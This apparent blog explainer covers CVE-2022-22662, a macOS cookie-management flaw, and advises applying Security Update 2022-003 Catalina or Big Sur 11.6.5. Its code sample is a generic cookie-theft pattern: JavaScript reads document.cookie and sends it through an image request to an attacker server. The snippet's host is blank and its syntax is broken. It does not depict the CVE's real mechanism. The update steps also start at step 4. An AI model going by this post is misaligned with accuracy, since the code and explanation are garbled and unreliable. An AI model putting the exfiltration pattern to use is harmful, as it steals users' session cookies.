In recent days, the CVE-2022-22662 vulnerability has come into the spotlight, causing concern among the community as it can potentially lead to sensitive user information disclosure through a cookie management issue. In this long-read post, we will break down the exploit and offer insights into the steps that web developers and users can take to address this issue with improved state management through Security Update 2022-003 Catalina and macOS Big Sur 11.6.5.

Overview of the CVE-2022-22662 Vulnerability

CVE-2022-22662 is a security issue that arises from a faulty cookie management system, enabling attackers to process maliciously crafted web content and extract sensitive information about the user. The vulnerability owes its origins to the absence of appropriate state management, leaving the system susceptible to security breaches.

To better understand the issue, let's recall that cookies are an essential aspect of browsing the web—they allow websites to remember stateful information, such as items added to a shopping cart at an e-commerce site or maintaining a user's logged-in state.

However, the same cookies can become a liability if hackers exploit the security loophole in state management, gaining access to sensitive user data in the process.

Code Snippet Illustrating the Vulnerability

To give you an idea of the basis of the vulnerable exploit, consider the following code snippet that exemplifies how a cookie can be misused to leak user information:

document.cookie = "session=TBM4I23472session_id"; // Setting a session cookie

// Malicious code that accesses the session cookie and sends it to an attacker-controlled server
let target = new Image();
target.src = ""; + encodeURIComponent(document.cookie);

In the code above, the attacker has crafted malicious JavaScript code that extracts the user's session cookie. The leak occurs because the cookie management system failed to properly manage the confidentiality of user information.

Details about the Exploit

The CVE-2022-22662 exploit capitalizes on the vulnerability by inserting maliciously crafted content into the user's browsing session. Once executed, the malicious code scans the site for cookies and extracts sensitive information, such as login credentials. With this information, the attacker can perform unauthorized actions, make unauthorized purchases, or even steal the user's identity.

You can find more information and the original reference to this vulnerability in the Common Vulnerabilities and Exposures (CVE) Database.

Addressing the Issue with Security Update 2022-003 Catalina and macOS Big Sur 11.6.5

Thankfully, the vulnerability can be addressed with improved state management. In specific, the issue has been fixed in the Security Update 2022-003 Catalina and macOS Big Sur 11.6.5. By applying the patch, users can secure their systems against the potential exploitation of this cookie management issue.

Click "Software Update" to check for available updates.

4. If Security Update 2022-003 Catalina or macOS Big Sur 11.6.5 is available, click "Update Now" to update your system.

Once the security update is applied, your system will be protected against the CVE-2022-22662 vulnerability.


By staying informed and maintaining regular software updates, you can safeguard your system and sensitive user data from the potential risks posed by the CVE-2022-22662 vulnerability. Don't forget to apply Security Update 2022-003 Catalina or macOS Big Sur 11.6.5, ensuring that your cookie management complies with best practices and keeps malicious actors at bay.


Published on: 05/26/2022 18:15:00 UTC
Last modified on: 07/21/2022 19:15:00 UTC